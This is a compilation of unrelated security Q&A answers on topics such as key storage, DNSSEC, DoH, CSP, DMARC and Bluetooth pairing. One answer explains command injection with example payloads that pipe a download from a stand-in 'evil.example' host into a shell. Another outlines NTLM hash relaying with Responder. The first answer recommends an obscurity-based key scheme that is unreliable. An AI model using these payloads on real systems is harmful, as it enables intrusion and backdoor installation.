HMAC secret key for securing communication - how to keep private on DB

You need to store the secret key in encrypted form in the DB so that even if the DB gets compromised, your key is in encrypted form and is of no use to the attacker unless it gets decrypted. In addition, you need to have a mechanism using which your key gets decrypted on the fly whenever you need to use it.
Added
DB stores your data and  your application logic/code is separate from the DB storage. Your secret key will be stored in DB but used in application logic/code. It should not be hard coded in your application logic otherwise you won't be able to change it later, so you need to store it in DB. However, DB can be compromised so you need to store it securely. For securing the key you need to store it in encrypted form and decrypt it on the fly. But for applying this security(encryption/decryption) you need another key(or keypair) which also needs to be secure. One method of securing that key is that instead of using a well-defined fixed key you can use consider some parameter for example, user's date of birth or user's account creation data etc. (any parameter whose value can vary for each user, but can remain constant atleast for some time for a particular user). Take the value of that specific parameter, apply some transformation function on it and use the resultant value of that transformation as the key (you can use it directly as your secret key or the key needed for encryption/decryption of secret key). Your transformation function is the part of application logic and that parameter is stored in db. In case your db gets compromised, the transformation function will still not be exposed. In case your application logic/code gets analyzed, your basic parameter for key generation will not be available. In this way, you will be able to keep your system secure unless the attacker has access to both the db (for key generation parameter) and your application logic/code (for transformation function) for getting the knowledge required for encryption/decryption of your secret key.
Hope it explains your query.


Aside from the rare direct mailto-related exploit (H/T @nobody), an attacker learns what your preferred email identity is when you use an email reply or mailto. Perhaps they got to you through a list or a forwarding address (if you're like me, you customize addresses to services so you can track how your address is shared).
An actual email reply says you're a real person, verifying and/or revealing a new address to the attacker.
It's also likely a ham indicator for some anti-spam systems. The unsubscribe model by systems like (iirc) Microsoft's requires mailto:, which may help tip spam into a bulk designation instead of a junk folder.


Any place where I can find some template or base documents for IT/Infosec Compliance?

You can get some good templates from SANS


Building list of vulnerabilities that should be verified during pentest

Every vulnerablity listed on the CWE-2000 database and the CAPEC-2000 database is a good place to start.   This is by no means complete, and these databases are expanding.  Sometimes there are vulnerabilities that are clearly a problem that needs to be addressed,  but doesn't really fit neatly into the CWE database.

Automation and already discovered vulnerabilities should be looked at,  but this probably makes up about 1% of what I do as a pentester.

Burp, grep, Firefox, vi, python, these are the tools you need.  (And god damn MS-Word for reporting)


Chrome extensions: tool to notify users of ownership change (to avoid malicious code injection)?

Ownership data could be scraped from the Chrome web store in order to track changes. With apologies for the shoddy code, here is such a scraper:
#!/usr/bin/env python3.8
import re, sys, urllib
from urllib.request import urlopen
from bs4 import BeautifulSoup

def processExtension(ext):
    print('EXT> ' + ext)
    crxbase = 'https://chrome.google.com/webstore/detail/'
    try:
        html = urlopen(crxbase + ext).read()
        soup = BeautifulSoup(html, 'html.parser');
        processSoup(soup)
    except urllib.error.HTTPError as err:
        print(err)
        pass

def processSoup(soup):
    for elem in soup('h1'):
        print ('TITLE> ' + elem.text)
    for elem in soup(text=re.compile(r'offered by')):
        if elem.parent.findChildren('a'):
            for ch in elem.parent.findChildren('a'):
                print ('OFFEREDBY> ' + ch.attrs['href'])
        else:
            print( 'OFFEREDBY> ' + re.sub( '^ *offered by *', '', str(elem) ) )
    for elem in soup('a',text=re.compile(r'developer')):
        print ('DEVELOPER_EMAIL> ' + re.sub('^mailto:','', str(elem.attrs['href'])))
    for elem in soup('span',text=re.compile(r'Website')):
        print ('WEBSITE> ' + elem.parent.attrs['href'])

for line in sys.stdin:
    processExtension(line.strip())
    print()

Sample output:
$ ls "~/Library/Application Support/Google/Chrome/Default/Extensions/" | ./extensionowners.py
EXT> mokjkiliipanjhlfbpagnmlpihmaohde
TITLE> Netflix Classic
OFFEREDBY> https://www.clickerfornetflix.com
DEVELOPER_EMAIL> help@dbklabs.com
WEBSITE> https://www.clickerfornetflix.com

EXT> nhbmpbdladcchdhkemlojfjdknjadhmh
TITLE> Crosh Window
OFFEREDBY> Chromium OS Developers
DEVELOPER_EMAIL> chromium-os-dev@chromium.org
WEBSITE> https://chromium.googlesource.com/chromiumos/platform2/+/HEAD/crosh/

EXT> nmmhkkegccagdldgiimedpiccmgmieda
HTTP Error 404: Not Found

EXT> occjjkgifpmdgodlplnacmkejpdionan
TITLE> AutoScroll
OFFEREDBY> http://kaescripts.blogspot.com
DEVELOPER_EMAIL> pcxunlimited@gmail.com
WEBSITE> https://github.com/Pauan/AutoScroll

EXT> ofhbbkphhbklhfoeikjpcbhemlocgigb
TITLE> Web Server for Chrome
OFFEREDBY> http://chromebeat.com
DEVELOPER_EMAIL> graehlarts@gmail.com
WEBSITE> https://github.com/kzahel/web-server-chrome


Why is DNS-over-HTTPS such a big security nightmare compared to DNS-over-TLS?

Again, it's all about the threat model!
Technologies are just technologies and can be used both for good and for evil. DNS over HTTPS (DoH) intends to solve the privacy concerns there are with unencrypted DNS, whereas DNSSEC can solve the integrity concerns without a need for encryption. Together with DNS over TLS (DoT) they are all fighting the threath of a malicious network operator that spies on your DNS traffic or forges responses.
On the other hand, both monitoring the DNS traffic and forging records can also be used for good intentions like detecting and blocking malicious traffic that is depending on DNS resolution. This is where solving these technical threats can actually decrease overall security, especially on corporate networks. The threat models of an organization are naturally different from the threat models of any individuals working for the organization.
Not so easy to detect
It's true that being unable to block DoH is rather irrelevant, if VPN connections are allowed. On corporate networks VPN connections (as well as DoH) can be either forbidden by policy (weak) or blocked by TLS inspection (efficient, but sometimes illegal or requires special privacy considerations).
Compared to DoH, DoT is easy to block, as it has a dedicated port 853 (tcp&udp) per RFC 7858.
For more detailed insights on the subject I'd recommend: Drew Hjelm: A New Needle and Haystack: Detecting DNS over HTTPS Usage (SANS Institute 2019). It also has some examples of the real security issues:

2.3. Public Threats from Encrypted DNS
Organizations need to start evaluating the risk associated with the
DoH protocol because attackers have already begun using DoH to look up
command-and-control (C2) servers. The best-known example of DoH as a
C2 mechanism came in April 2019 with the Godlua backdoor (360 Netlab,
2019). A newer variant of the Godlua backdoor runs on Linux and
Windows and uses a DoH request to grab a part of its C2 information.
Another way an attacker could use DoH in an attack is to trigger a
redirected webpage as part of a spam campaign. Researchers at
MyOnlineSecurity (2019) found a sample where an email attachment had a
Base64 encoded string that would query Google DoH for a TXT record.
The TXT record would have a JavaScript redirect to a spam webpage
whose address often changed.
Numerous DoH C2 proofs-of-concept are publicly available, meaning that
the threat of malicious actors using DoH is likely to increase soon.


NONCE not supported in Asp.Net for CSP implementation

CSP is client-side behavior, not server-side; it doesn't make sense to talk about it as something a server-side technology like ASP.NET "does" or "does not" support. At the end of the day, all you're doing is adding some text to your HTTP response headers and HTML bodies. ASP.NET can absolutely do that.
The complication occurs if ASP.NET adds scripts (or other CSP-restricted content) automatically. In that case, if you require nonces on all such content, you'd need to ensure the server adds them to its auto-generated content too. If it doesn't support doing so automatically, you'll need to modify its behavior to do so "manually". There are a few ways and places you might do this, although I can't think of a really obvious one (but then, I haven't done any serious ASP.NET development in the last decade).
If you've got a site that explains how to make ASP.NET handle CSP nonces correctly, why didn't you just try it to see if it works? If it doesn't, you could ask why, and what to do about it... but that's more of a StackOverflow question than a Security.SE question. How to use CSP in the abstract is a security question. How to make it work in a particular way on a particular web server is a programming question.


How much security information to publicise?

Focus less on giving a detailed security report and more on answering the user's potential questions.

If your app uses TLS to communicate with the servers, then that's a bullet point for your security page. If you hash your passwords with pbkdf2, there's another. If you store a backup copy of user credentials on a server hosted with Amazon in zone us-east-1a... ok, you can probably see why that detail doesn't really answer your user's questions, but just provides attack information.

With PCI compliance; if you accept credit cards, you're assumed to be PCI compliant. And anyway, PCI is about protecting credit cards, not users. Visa cares about whether you store CVV2s, not about whether you sell customer phone numbers on russian forums. There's a world of difference between true identity theft and credit card number theft, and the Payment Card Industry is only financially liable for the latter.

Instead, you might want to point out certain aspects of the PCI compliance testing that would be relevant to the users. "Security practices and infrastructure rigorously audited by [company name]."


What 2nd factor accepted on a mobile app?

It all depends on what threat you want to counter. Your proposed threat mitigation (requiring a separate device) is appropriate for the threat of someone gaining unauthorised access to the device. But it is over-provisioned for your stated threat of someone gaining unauthorised access to a user's account via the app.

In your stated threat scenario, the unauthorised actor installs the app and uses the victim's credentials to log in. This can be mitigated by using MFA processes on the authorised user's authorised device.

There are different ways to do this: sending OTP codes, a local TOTP generating app, or having a process to register and authorise the device.

Authorising the device is a "what you have" form of the MFA methodology.

There is just one thing you have to consider: the security of the processes around registering that device.

If an attacker has the credentials of the user, can they also register an unauthorised device? If so, then you need to consider this new threat scenario.

This is where having a completely separate authentication process to your own is very useful, like a TOTP app on the phone. In this way, the attacker needs the credentials to your service and the credentials to the TOTP service.


Should merchant be SAQ-A compliant if full payment processing is outsourced and NO paper (reports or receipts) with cardholder data is retained

Assuming you are a merchant with your own website and charge cards as yourself (as opposed to doing business though another site - like eBay or Amazon - and just being paid by that company), then there's no way to get around needing to be (at least) SAQ A compliant.  After all, part of the point of SAQ A is to document that you don't handle cardholder data.

Whether SAQ A or SAQ A-EP applies depends on just how much of the process is outsourced.  There's a guide for that

  SAQ A has been developed to address requirements applicable to
  merchants whose cardholder data functions are completely
  outsourced to validated third parties, where the merchant retains
  only paper reports or receipts with cardholder data.

  SAQ A-EP has been developed to address requirements applicable to e-commerce merchants with a website(s) that does not itself receive cardholder data but which does affect the security of the
  payment transaction and/or the integrity of the page that accepts the consumer’s cardholder data.

Since you say "fully-outsourced", I'm assuming you fall under A, but it's possible to fully outsource the payment handling, while still retaining enough influence in the process to fall under A-EP instead.  For example, payment controls on your site which send the card data to the third party could be either, depending on how they're implemented, while simply redirecting to the third party site should always be A.


Should I restrict Core Networking firewall rules in Windows server?

More often than not, access should be restricted to the fullest extent possible.  The decision as to how far to take steps needs to be based on an evaluation of willingness to accept risk, what the risks are and the value of what is being protected.


Managing passwordless SSH authentication from servers to server

Using unique keys would be better from a security standpoint.

Create a unique key for each server and distribute it using the copy-ssh-id command.

Related: https://askubuntu.com/questions/4830/easiest-way-to-copy-ssh-keys-to-another-machine


Security Report about "Insecure Content-Type Setting": Does this apply to CSS and JavaScript as well?

Is the charset of CSS and JavaScript resources strictly defined by a standard?

No. It is similarly flexible as with HTML, i.e. can be defined in the style itself, by the embedding HTML or in the HTTP header or even with a byte order mark. If not explicitly defined it might also have a default or might depend on the charset encoding of the embedding document:

@charset "UTF-8";
<link rel="stylesheet" type="text/css" charset="utf-8" ...>
Content-Type: text/css; charset=utf-8

And the same is true for JavaScript. Thus, you better always specify the charset encoding.


Selfie as form of authentication for credit card transactions

For many people, obtaining a selfie would be very easy. Using social media, many people upload tons of selfies of which if a criminal wanted, they would just download it. Editing a photo's time-stamp and geotag is very easy to do. This idea of using a selfie is absurd! If you want to be secure, combine it with other methods such as a secure password, pin, 2 factor authorization, and a series of questions which the user sets answer to at the time they setup their account.


I accidentally downloaded a .bin file, should I be worried?

Simply downloading a file should not cause any problems since the file was not executed. Malware generally cannot cause any damage unless it is executed. Additionally, on Windows, .bin files are not executable by default so if you use Windows, even if you did click on it, nothing should have happened.
Although theoretically, downloading a file could result in infection (see this question), this is not something the average user should have to worry about, since such vulnerabilities usually require high technical sophistication to find and exploit (unless you are running a hopelessly outdated OS). So, as long you don't have any reason to worry about being targeted by state-level attackers or the like, you don't have any cause for concern


Given that rand() is only a pseudo-random function and thus kind of predictable and that time() is actually very predictable (i.e. only a few values within a specific time frame) and that the predictability of the output of SHA-256 is the same as the predictability of its input it should be clear that essentially the result is about as predictable as the original rand(), provided that the attacker knows how your seed was constructed.


How can you detect an insecure, non-random token?

You can't actually determine how random a number is, because it's the nature of randomness. However, if you had a series of values, you could perform statistical randomness tests on the values and possibly find patterns/weaknesses in the random number generator. Certain patterns may give away what random generator was used. But even supposing the numbers were random in a statistical sense, the problem that remains afterwards is security. Something that passes randomness tests may not actually be secure!

In short:

true randomness = security
statistical randomness ≠ true randomness


Is the IBM AppScan XSS vulnerability on Google Analytics about the "cross-domain tracking query string parameter" a false positive?

There is an XSS vulnerability reported on google-analytics, more information can be found on the following pages:

http://www.cvedetails.com/cve/CVE-2014-9174/
http://www.acunetix.com/blog/articles/xss-vulnerability-injected-google-analytics-executed-ioss-gmail-application/

Make sure to update your version, when your version of google-analytics is the same to this one reported.


Why doesn't Google publish Android firmware images with lots of drivers, which will work on lots of devices?

Why doesn't Google distribute Android firmware images with lots of included drivers, ...

This means that Google would need to get access to the drivers in the first place and not only by binary but also by source. Only this way they could keep the drivers working when major changes to the software are made: new versions of Android usually use newer versions of the Linux kernel which has implications for the drivers. Getting these drivers as source code will be a big licensing problem because manufactures are not that eager to share the intellectual property which is implicitly embedded in these drivers.

And even if Google had all these drivers they would need to test any software changes against all these phones and phone sub versions because manufactures are repeatedly change the hardware included in the phones to make it cheaper or to work around patent issues. It's a maintenance nightmare which right now gets handled by the manufactures by simply ignoring models which are not the newest.   I don't think Google would like to take over this nightmare.

The best thing of course would be if manufactures would release solid hardware with open drivers and make sure that these drivers get included into Linux kernel. This way it would be much easier too release updates, both for Google and for third parties like Cyanogenmod or AOSP. This way also the supported life of the phones would be longer. Unfortunately this is not in the interest of the manufactures because they rather like to sell new phones than see their older phones used a lot.

Apart from that the x86 environment (PC, Windows) is different from ARM (mobile phones). With x86 you have interfaces which were designed so that you can replace hardware and that hardware can be autodetected. With ARM you instead have the SoC which contains everything and each new phone or even variety of the phone has its own SoC. The OS must have knowledge about the capabilities up-front, i.e. there is no general kernel for all hardware. I think this is getting better, but that's the current state as far I know. Thus in effect you cannot support a single OS with flexible drivers but instead have to support lots of OS varieties which also makes maintenance harder. And of course every manufacture makes its own special adjustments to this OS to support its hardware or to work around bugs.


Is running bash script that is taking arguments from site dialog box a good idea?

The Issue

First, you asked about the danger of doing this. Functionality like this, if not properly implemented, may result in a critical vulnerability known as command injection, which generally allows an attacker to run arbitrary shell commands.

I do not know what language/framework your website uses, but let's assume it is PHP, and you have PHP code similar to the following:

system("/usr/local/bin/my_custom_bash_script -p " . $_POST["playlist_id"]);

This code takes a value submitted from the user (the playlist ID) and concatenates it with another string to run a shell command, which is usually passed to /bin/sh -c. Consider if the submitted playlist ID looks like:

; curl https://evil.example/install_backdoor | sh

or

<some_playlist_id>$(curl https://evil.example/install_backdoor | sh)

In the first case, a semicolon tells the shell that what follows should be executed as a separate command. In the second case, $(...) tells the shell to execute the contents in a subshell. There are various other special characters that the shell interprets that can be used for malice in these scenarios (e.g. |, ||, &&, `` etc.)

Mitigation

In PHP, for example, there exists escapeshellarg which is meant for this purpose. It ensures that whatever is passed to it is only treated as a single argument when passed to the shell. Depending on what language you are using, there should be an equivalent to this. Or, as other answers mentioned, you could use a regex to whitelist safe characters.

Since your scripts are calling other scripts, you should also watch out for 2nd order (or n-order) command injection vulnerabilities. Make sure none of those scripts you run are using eval or system-like functions with the untrusted data unless it has been thoroughly validated, or consider merging your functionality into the web application so that external scripts are not called at all.


What exactly is the purpose of these DH Parameters?

These parameters define how OpenSSL performs the Diffie-Hellman (DH) key-exchange. As you stated correctly they include a field prime p and a generator g. The purpose of the availability to customize these parameter is to allow everyone to use his / her own parameters for this. This can be used to prevent being affected from the Logjam attack (which doesn't really apply to 4096 bit field primes).
So what do they define?
A Diffie-Hellman key exchange operates as follows (for TLS 1.2 and before1):
The server Bob uses these parameters to calculate B=g^b mod p. He sends (B,g,p) to the client Alice who computes A=g^a mod p on her own along with K=B^a mod p. She sends A to Bob and he computes K=A^b mod p. As A^b=g^(a*b)=g^(b*a)=B^a mod p holds both parties will agree on a shared key. The parameters p and g define the security of this key-exchange. A larger p will make finding the shared secret K a lot harder, defending against passive attackers.
And why do you have to pre-compute them?
Finding the prime p means finding a value for p for which p=2q+1 holds, with q being a prime. p is then called a safe prime.
Finding such primes is really computational intense and can't be afforded on each connection, so they're pre-computed.

Can they be public?

Yes, it's no risk publishing them. In fact they're sent out for every key-exchange that involves some Diffie-Hellman (DH) key exchange. There are even a few such parameters standardized for example in RFC 5114. The only possible problems with publishing may be that a powerful attacker may be interested in performing some computations on them, enabling him to perform the Logjam attack. However as your parameters use a 4096 bit field prime p this isn't a risk.
To explain why publishing them isn't a risk you may want to take a look at the above key-exchange description and note that the parameters are only used as a base for the computations but all the secrets (a,b) are completely independent of g,p.

1: For TLS 1.3, the client first guesses the parameters of the servers from a standardized set. Then it As for all of these parameters to the server who then either responds with a B of his own along with the choice of parameter set or responds with a list of parameters actually supported - which may include the custom generated ones this Q&A is all about.


1. What is the goal of DNSSEC?

DNSSEC signs DNS records. It does not encrypt, it just confirms authenticity.

The root signs keys from TLDs (such as .org or .de), TLDs sign keys from registrars, and registrars sign the DNS records that you (probably) put in via their web interface.[2]

You can also have them sign your keys so that you can maintain a signed zone yourself.[3]

DNSSEC exists of fields added to domains, so it's not something that works for every website after you turn it on for your computer. If a registrar does not support it, or if a TLD does not support it, your computer just cannot verify the authenticity of the records of the domain you're querying.

2. Who has to have it enabled in order for it to work?

We've already covered the root, the TLD of your choice and the registrar. Now ISPs or other recursive resolvers (e.g. OpenDNS) can also have it enabled or not. Having it enabled means their resolvers will check signatures and return an error code if the validation fails.[4]

The user's client also has to have something enabled in order for it to work: if your client (e.g. Firefox) does not alert on an invalid signature, the signatures will never add any value.[5]

3. Who signs a domain?

The registrar either signs your records or the key with which you sign your records. So you trust the registrar. If you don't trust the registrar, you will have to get a different one. And you trust the TLD, since they could just sign it with any key they like (since they can sign registrar's keys). And you trust the root for the same reason.

4. How can clients detect a signature being removed?

If someone removes the signature, presumably to modify records without triggering a signature validation error, it might appear that the domain simply does not have DNSSEC enabled. However, the parent signer (the TLD) will have mentioned that DNSSEC should have been enabled for the domain, and the TLD's response is signed so cannot be forged.[6]

So what if we remove the TLD's signature as well? Alright, then the root will tell us (with signature) that the TLD should have had it enabled.

If the root is trustworthy, and the root only signs legitimate TLDs, and the TLD is trustworthy, and the TLD only signs registrars, and the registrar is trustworthy, then you can be sure the signed records came directly from the domain owners.

5. Bonus: Does DNSSEC have any issues of its own?

It makes responses bigger (not a security but a performance issue) and helps domain enumeration.

Domain enumeration is made possible because of the way they solved NXDOMAIN signing. Signing is meant to be done offline so name servers don't have to sign things on the fly. But how do you sign a response, in advance, for something that doesn't exist? By signing a response that says "between ftp.example.com. and mail.example.com. there are no other records" and returning that when anyone asks for something like jkl.example.com.[1]

Now to enumerate, you start with aaaa.example.com. and it will tell you the first record, like ftp.example.com. Then you request ftq.example.com (one character incremented) and it will give you the next record.

This was solved by hashing the names and going "between hashes a8fba8[...] and da8a8bfdf[...] there are no other records". This is called NSEC3.[8] This still allows for hash enumeration and then offline cracking the hashes, which is orders of magnitudes faster and stealthier than guessing by querying the name servers.[9]

It's an ongoing discussion whether it's an issue that names can be enumerated. The people who design DNSSEC typically say that the DNS system was supposed to be a public phone book; the people who deploy DNS servers typically prefer to keep their phone book private.[7]

[1] https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions#Zone_enumeration_issue.2C_controversy.2C_and_NSEC3

[2] https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions#Operation

[3] "you tell your registrar your signing key's fingerprint by creating a DS record" https://security.stackexchange.com/a/11571/10863

[4] "they enable their DNS resolvers (which you use to translate fancy domain names into IP addresses) to verify DNSSEC. So from now on, if you ask your ISP for the IP for a domain and the signature is invalid, you will get an error instead of the wrong IP." security.stackexchange.com/questions/142604/what-problem-does-dnssec-solve?noredirect=1#comment267595_142626

[5] "It's up to the client to prefer (or alert) on non-signed responses, just like TLS on a web browser." security.stackexchange.com/questions/142604/what-problem-does-dnssec-solve?noredirect=1#comment267602_142604

[6] https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions#Recursive_name_servers "If there is a DS record for "example.com", but no RRSIG record in the reply, something is wrong and maybe a man in the middle attack is going on"

[7] https://security.stackexchange.com/a/11571/10863 "DNS (and DNSSec) was designed largely by folks in the first camp; [...] the servers tend to be run by people in the second camp"

[8] https://security.stackexchange.com/a/126518/10863

[9] https://dnscurve.org/nsec3walker.html See "Future work"


Key Extraction via electrical signal processing

Get Your Hands Off My Laptop:
Physical Side-Channel Key-Extraction Attacks On PCs


Is it possible make a Pass-The-Hash attack with Responder?

Responder gathers NetNTLMv1 and NetNTLMv2 hashes, to be precise. These hashes are generated as part of a challenge-response mechanism, and as a result in much harder to crack than LM or NTLM hashes, which are based on a not-so-strong encryption algorithm.

An attacker running Responder inside a network can use a tool such as NTLMRelayx from impacket to relay the credentials to any SMB server which has SMB Signing disabled. Note that the attacker cannot relay these credentials back to the service on the same system from where the hashes were captured.

Although an attacker cannot RDP to a server using relaying, they should still be able to gain administrative access to the server through SMB (provided the credentials relayed belonged to a privileged user)

No, an attacker cannot forge golden/silver ticket using just the NetNTLMvx hashes.


How do I verify that WhatsApp is using end-to-end encryption?

There isn't any quick check you can perform in order to be sure that end-to-end encryption is used. Even if you manage to get this confirmation, then you have to make sure that the used encryption keys never left your device (and the device of your friend). If end-to-end encryption is used, but WhatsApp or someone else has access to the encryption keys, the chat is no longer confidential.

There is some available information which can allow a security researcher to start investigating the matter:

The encryption software is known and the code is open source (even if we do not know what changes were made to the WhatsApp implementation)

  WhatsApp will integrate the open-source software Textsecure, created by privacy-focused non-profit Open Whisper Systems, which scrambles messages with a cryptographic key that only the user can access and never leaves his or her device

TextSecure GitHub

P.S.: There is at least one way to tell if they are not using end-to-end encryption and parsing the contents of your messages. Some time ago, a security researcher discovered that URLs sent in Skype messages are accessed from Microsoft IP addresses (link). You can try the same thing by setting up a web server and sending some unique URLs on WhatsApp.


It should have a random component. The way encryption with asymmetric keys usually works is that you generate random AES key, encrypt the data using AES and then encrypt the random key with your asymmetric key. This is done for performance reasons. However, because the key is random each time, the resulting cipher-text should be different each time. I am not sure why it is not in your case.


Is it safe to save a screenshot of my QR code?

The QR code used on setting up MFA contain the seed that is used for the MFA process. That's what allows you, having that initial QR code, to set up another client with the same codes.

The drawback of this is that, just as you can set up a second client, a third party that got hold of those QR codes, could do that as well. Thus, if someone got that QR and password, it would have all needed information to log in as you.

I would say it is a security concern only depending on how it is being stored. You may store those QR, but I would recommend treating them as passwords, note they guard (half the) access to the relevant account. For instance, you may want to rather than syncing them with the cloud like other photos to save them in a password manager instead.

PS: It's equivalent here that you are using Google Authenticator, Authy, FreeOTP or other client. Most likely, the MFA is using a TOTP token, as defined on rfc 6238. which many clients support.


Estimating the cost of implementing security measures

Security is about loss prevention, not profit.

There are plenty of reports about how to calculate the ROI (Return On Investment) for a company (I even saw a PhD on that) but this usually ends up with some wild hand waving and I am still waiting, after running budgets of $MM, for some magical formula which would tell management that the investment is worth the price.

I am sorry not to have a reply which has that neat formula, but you are not likely to find one. Companies which have a short path between IT and profits may find some reasonable links, though. You could argue that if you make x $/s, a downtime of N seconds means N*x $ loss. A DDos protection solution will cost you this and that so if you expect to be DDoSed (this does not cost much) then the investment is maybe worth it.

You will find reports that state that an intrusion costs a company whatever big amount of dollars. This is true for direct costs (ie. you have to pay legal fines) but does not take into account (or, on the other side of the spectrum - grossly exaggerates) collateral costs. Putting a dollar value next to loss confidence is not easy either.

This is to say that you can google some reports (ENISA has a good introduction) but the budget discussions about security are usually belly dancing.


Enforcing DMARC policy (reject) on an Office 365 tenant

This can be achieved on an Office 365 tenant by adding a transport rule. An email not passing DMARC tests of a domain having p=reject will have dmarc=fail action=oreject and compauth=fail reason=000 in the Authentication-Results header.

You could catch the dmarc=fail action=oreject:

  action  Indicates the action taken by the spam filter based on the
  results of the DMARC check.

  oreject or o.reject: Stands for override reject. In this case
  Office 365 uses this action when it receives a message that fails the
  DMARC check from a domain whose DMARC TXT record has a policy of
  p=reject. Instead of deleting or rejecting the message, Office 365
  marks the message as spam.

Unfortunately, the composite authentication compauth=fail reason=000 is the same for both p=reject and p=quarantine. Using it alone would also affect mails with the less strict policy to only quarantine it. Following the RFC 7489, 6.3 you wouldn't want that.

  compauth=fail Message failed explicit authentication (sending domain
  published records explicitly in DNS) or implicit authentication
  (sending domain did not publish records in DNS, so Office 365
  interpolated the result as if it had published records).

  reason=0xx Message failed composite authentication.

  000 means the message failed DMARC with an action of reject or quarantine.

To avoid false positives, requiring both would be the best. However, Office 365 transport rules doesn't have an option for "and" conditions: the only suitable option "a message header includes..." can only be used once, and it only has "or"-lists i.e. "includes any of these words". For these reasons I've picked the dmarc=fail action=oreject and use it in the following instructions.

Steps for adding the transport rule:

Go to the Exchange admin center https://outlook.office365.com/ecp/
On mail flow > rules, press the + to add a rule and name it e.g. DMARC reject.
To get the required settings to show, press the "More options..." link below the selection.
On "Apply this rule if..." select "A message header..." and "includes any of there words".
Add the details: 'Authentication-Results' header includes 'dmarc=fail action=oreject'.

Select the desired action with the setting "Do the following..." and "Block the message..."

The RFC 7489, 1.3 Rejecting Messages suggests two possibilities:

   o  A "silent discard", wherein the SMTP server returns a 2xy reply
      code implying to the client that delivery (or, at least, relay)
      was successfully completed, but then simply discarding the message
      with no further action.

The equivalent for this would be "Delete the message without notifying anyone."

   o  Full rejection, wherein the SMTP server issues a 5xy reply code as
      an indication to the SMTP client that the transaction failed; the
      SMTP client is then responsible for generating notification that
      delivery failed (see Section 4.2.5 of SMTP RFC 5321).

i.e. "Reject the message with the explanation... rejected by DMARC policy"

However, Microsoft Office 365 doesn't support connection-stage rejection, so the latter doesn't exactly respond with an SMTP 5xy reply code, but sends a non-delivery report (NDR) to the envelope sender, with the defined custom message:

The technical error on the NDR is 550 5.7.1 TRANSPORT.RULES.RejectMessage; the message was rejected by organization policy and it has the original message headers attached.


Site asking for driver's license when buying items

I'd be curious why they need an ID.  Are you buying something where you need to be of a certain age?  Do they have restricted buyers?  In the US, you need to be 21 to purchase alcohol and you need to be 18 (and not a felon) to purchase ammunition or firearms.  Buying either of those online doesn't sound like a good idea, IMHO.  Otherwise, I'd be very suspicious of these terms.  What conceivable need would they have for this information?  Even with credit cards, the merchant gets paid - the card company eats the cost if the transaction is fraudulent.  I'm not sure about how PayPal works in that respect , though.

I'd suggest playing it safe and keep an eye on your credit bureau report for a little while.

If a bad guy has your name, address, and DOB he can do a lot.  He can forward your mail and start sifting through it to gain more info.  He can start looking around local counties and see if he can find your birth certificate and from there, the sky's the limit.  There's more info on the risk with your date of birth  here.


Can XHR patching prevent XSS side-effects?

Are there any caveats to this approach? (security-wise)

Yeah, it's not very thorough, you can get a new instance of the constructor from a new window object instead:

XMLHttpRequest = null;

var iframe = document.createElement('iframe');
iframe.style.display = 'none'; // optional
document.body.appendChild(iframe);
var XHR = iframe.contentWindow.XMLHttpRequest;
console.log(new XHR());

You would have to overwrite a lot more things to ensure a XMLHttpRequest cannot be accessed, that's just 1 way to do this.

For XSS protection, just use a Content Security Policy and only use trusted libraries from trusted sources.


Difference between nmap scan results while firewall on vs off

After enabling firewall, I run nmap, and got same result. So what is the difference ?

Like you said, there is no difference. The reason is that the default configuration of UFW allows loopback traffic, i.e. traffic involving 127.0.0.1.

You can do everything with ufw that iptables can do. You can add only simple rules using the command line. If you want to add more advance rules, then you can accomplish this by editing several ufw config files.
/etc/default/ufw : This is main ufw config file for default policy and kernel modules.
/etc/ufw/before.rules : Rules in these files are calculate before any rules added via the ufw command.
/etc/ufw/after.rules : Rules in these files are calculate after any rules added via the ufw command.
By default UFW allows DHCP, ping and loopback. You can disallow this by editing the before.rules file.
sudo nano /etc/ufw/before.rules

Source
If you scanned your computer from another IP address, or if you edited the default rules, a Nmap scan would probably show nothing.


I'm a developer for an open source project called WPScan, a WordPress vulnerability scanner.

Having spoken to one of the lead WordPress developers a couple of weeks ago regarding this issue, WordPress saw this particular vulnerability as low risk. However, it will be patched in the new release which should be any day now.

I've just implemented a quick 'fix' on my personal blog to prevent the exploitation of this vulnerability.

In wp-admin/includes/dashboard.php comment out lines 1065-1093. This comments out the content of the wp_dashboard_rss_control function which receives the user controllable $_POST['widget-rss'][$number] variable which is needed to exploit this vulnerability.

This did prevent the exploitation of the vulnerability. I did not notice any other adverse affects in doing this on my blog, however, doing so may affect some other parts of the system, but I did not see this.

The above is an option if you can't wait a few days to a week for WordPress to release the patched version.

If you want a more secure blog as well as passing PCI, check out WPScan.


Is it okay to widely share the RSA key fingerprint for a host?

The server key fingerprint is a hash of the server's public key, which is, by definition, public. Anybody can obtain the server's public key by simply connecting to it, since the server sends its public key in the initial steps of the protocol. In fact, that's just what you do with your SSH client: you connect to the server, the server sends its public key, your SSH client software computes the key hash (the fingerprint) and displays it. At that point, you still have not authenticated yourself, so everything you did, anybody could have done it.

Thus, there is no problem is publishing the key fingerprint because any possible attacker already has it.

Of course, publishing the key fingerprint and using it as a basis for server authentication requires robust publication: an industrious attacker intent on doing Man-in-the-Middle attacks would try to alter the published fingerprint as you see it, so as to induce you into accepting as genuine a fake server key. Thus, if you publish the server's public key on a Web site, make it an HTTPS Web site. (In other words, for this fingerprint, you do not need confidentiality but you need integrity.)


Difference between Bluetooth LE Secure Connections security mode 1 and level 3 and 4?

Intro

In relation to another question LE has two main occurrences:

Secure Simple Pairing (4.0)
Secure Connections (4.2)

Both occurrences specify the algorithms that can/must be used in the following association methods:

Numeric Comparison , which protects against passive and active attacks. (for LE, not available in Secure Simple Pairing);
Just works, which protects against passive attacks IF ECDH is used (for LE, only the case in Secure Connections), and never
protects against active attacks;
Passkey entry, which protects against passive attacks IF ECDH is used (for LE, only the case in Secure Connections), and should protect against an active MITM attack (although there are some doubts about that, e.g. Padovan
Out Of Band, of which the security depends on the OOB method that is used.

When talking about an authenticated link, we talk about a link that provides protection against active MITM attacks.

Answer

Security mode 1, level 3 and 4 concern authenticated encryption. Looking at the table given by Bluetooth organization, we can choose between:

Passkey Entry
Numeric Comparison
OOB => this depends on the OOB channel, so is usually not discussed.

However, Numeric Comparison is not available in Secure Simple Pairing, so we can only use it in Secure Connections and must use Passkey Entry when using LE Secure Simple Pairing. Then again, not everybody is convinced that Passkey Entry cannot be broken, so the only real secure method is actually Numeric Comparison (and thus enforce LE Secure Connections). This can be bad from a compatibility standpoint of course.

Authenticated pairing uses Passkey Entry (no ECDH, as it is LE legacy!)
